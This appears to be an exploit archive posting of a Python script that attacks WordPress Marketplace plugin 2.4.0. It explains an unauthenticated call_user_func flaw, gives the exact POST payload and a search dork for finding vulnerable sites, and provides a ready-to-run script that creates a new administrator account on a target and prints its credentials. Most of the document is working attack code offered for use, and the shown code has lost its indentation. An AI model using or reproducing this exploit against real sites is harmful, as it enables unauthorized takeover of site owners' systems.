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WordPress Marketplace 2.4.0 Add Administrator

WordPress Marketplace 2.4.0 Add Administrator
Posted Mar 25, 2015
Authored by Claudio Viviani, Kacper Szurek

WordPress Marketplace plugin version 2.4.0 add administrator exploit that leverages a vulnerability that allows an attacker to execute any php function unauthenticated.

tags | exploit, php
SHA-256 | ac59d4a9526b37f10ef94defac072ade2a47ac7bfca88a79255e93f826142f61

WordPress Marketplace 2.4.0 Add Administrator

Change Mirror Download
#!/usr/bin/python
#
# Exploit Name: WP Marketplace 2.4.0 Remote Command Execution
#
# Vulnerability discovered by Kacper Szurek (http://security.szurek.pl)
#
# Exploit written by Claudio Viviani
#
#
#
# --------------------------------------------------------------------
#
# The vulnerable function is located on "wpmarketplace/libs/cart.php" file:
#
# function ajaxinit(){
# if(isset($_POST['action']) && $_POST['action']=='wpmp_pp_ajax_call'){
# if(function_exists($_POST['execute']))
# call_user_func($_POST['execute'],$_POST);
# else
# echo __("function not defined!","wpmarketplace");
# die();
# }
#}
#
# Any user from any post/page can call wpmp_pp_ajax_call() action (wp hook).
# wpmp_pp_ajax_call() call functions by call_user_func() through POST data:
#
# if (function_exists($_POST['execute']))
# call_user_func($_POST['execute'], $_POST);
# else
# ...
# ...
# ...
#
# $_POST data needs to be an array
#
#
# The wordpress function wp_insert_user is perfect:
#
# http://codex.wordpress.org/Function_Reference/wp_insert_user
#
# Description
#
# Insert a user into the database.
#
# Usage
#
# <?php wp_insert_user( $userdata ); ?>
#
# Parameters
#
# $userdata
# (mixed) (required) An array of user data, stdClass or WP_User object.
# Default: None
#
#
#
# Evil POST Data (Add new Wordpress Administrator):
#
# action=wpmp_pp_ajax_call&execute=wp_insert_user&user_login=NewAdminUser&user_pass=NewAdminPassword&role=administrator
#
# ---------------------------------------------------------------------
#
# Dork google: index of "wpmarketplace"
#
# Tested on WP Markeplace 2.4.0 version with BackBox 3.x and python 2.6
#
# Http connection
import urllib, urllib2, socket
#
import sys
# String manipulator
import string, random
# Args management
import optparse

# Check url
def checkurl(url):
if url[:8] != "https://" and url[:7] != "http://":
print('[X] You must insert http:// or https:// procotol')
sys.exit(1)
else:
return url

# Check if file exists and has readable
def checkfile(file):
if not os.path.isfile(file) and not os.access(file, os.R_OK):
print '[X] '+file+' file is missing or not readable'
sys.exit(1)
else:
return file

def id_generator(size=6, chars=string.ascii_uppercase + string.ascii_lowercase + string.digits):
return ''.join(random.choice(chars) for _ in range(size))

banner = """
___ ___ __
| Y .-----.----.--| .-----.----.-----.-----.-----.
|. | | _ | _| _ | _ | _| -__|__ --|__ --|
|. / \ |_____|__| |_____| __|__| |_____|_____|_____|
|: | |__|
|::.|:. |
`--- ---'
___ ___ __ __ __
| Y .---.-.----| |--.-----| |_.-----| .---.-.----.-----.
|. | _ | _| <| -__| _| _ | | _ | __| -__|
|. \_/ |___._|__| |__|__|_____|____| __|__|___._|____|_____|
|: | | |__|
|::.|:. |
`--- ---'
WP Marketplace
R3m0t3 C0d3 Ex3cut10n
(Add WP Admin)
v2.4.0

Written by:

Claudio Viviani

http://www.homelab.it

info@homelab.it
homelabit@protonmail.ch

https://www.facebook.com/homelabit
https://twitter.com/homelabit
https://plus.google.com/+HomelabIt1/
https://www.youtube.com/channel/UCqqmSdMqf_exicCe_DjlBww
"""

commandList = optparse.OptionParser('usage: %prog -t URL [--timeout sec]')
commandList.add_option('-t', '--target', action="store",
help="Insert TARGET URL: http[s]://www.victim.com[:PORT]",
)
commandList.add_option('--timeout', action="store", default=10, type="int",
help="[Timeout Value] - Default 10",
)

options, remainder = commandList.parse_args()

# Check args
if not options.target:
print(banner)
commandList.print_help()
sys.exit(1)

host = checkurl(options.target)
timeout = options.timeout

print(banner)

socket.setdefaulttimeout(timeout)

username = id_generator()
pwd = id_generator()

body = urllib.urlencode({'action' : 'wpmp_pp_ajax_call',
'execute' : 'wp_insert_user',
'user_login' : username,
'user_pass' : pwd,
'role' : 'administrator'})

headers = {'User-Agent': 'Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/36.0.1985.125 Safari/537.36'}

print "[+] Tryng to connect to: "+host
try:
req = urllib2.Request(host+"/", body, headers)
response = urllib2.urlopen(req)
html = response.read()

if html == "":
print("[!] Account Added")
print("[!] Location: "+host+"/wp-login.php")
print("[!] Username: "+username)
print("[!] Password: "+pwd)
else:
print("[X] Exploitation Failed :(")

except urllib2.HTTPError as e:
print("[X] "+str(e))
except urllib2.URLError as e:
print("[X] Connection Error: "+str(e))

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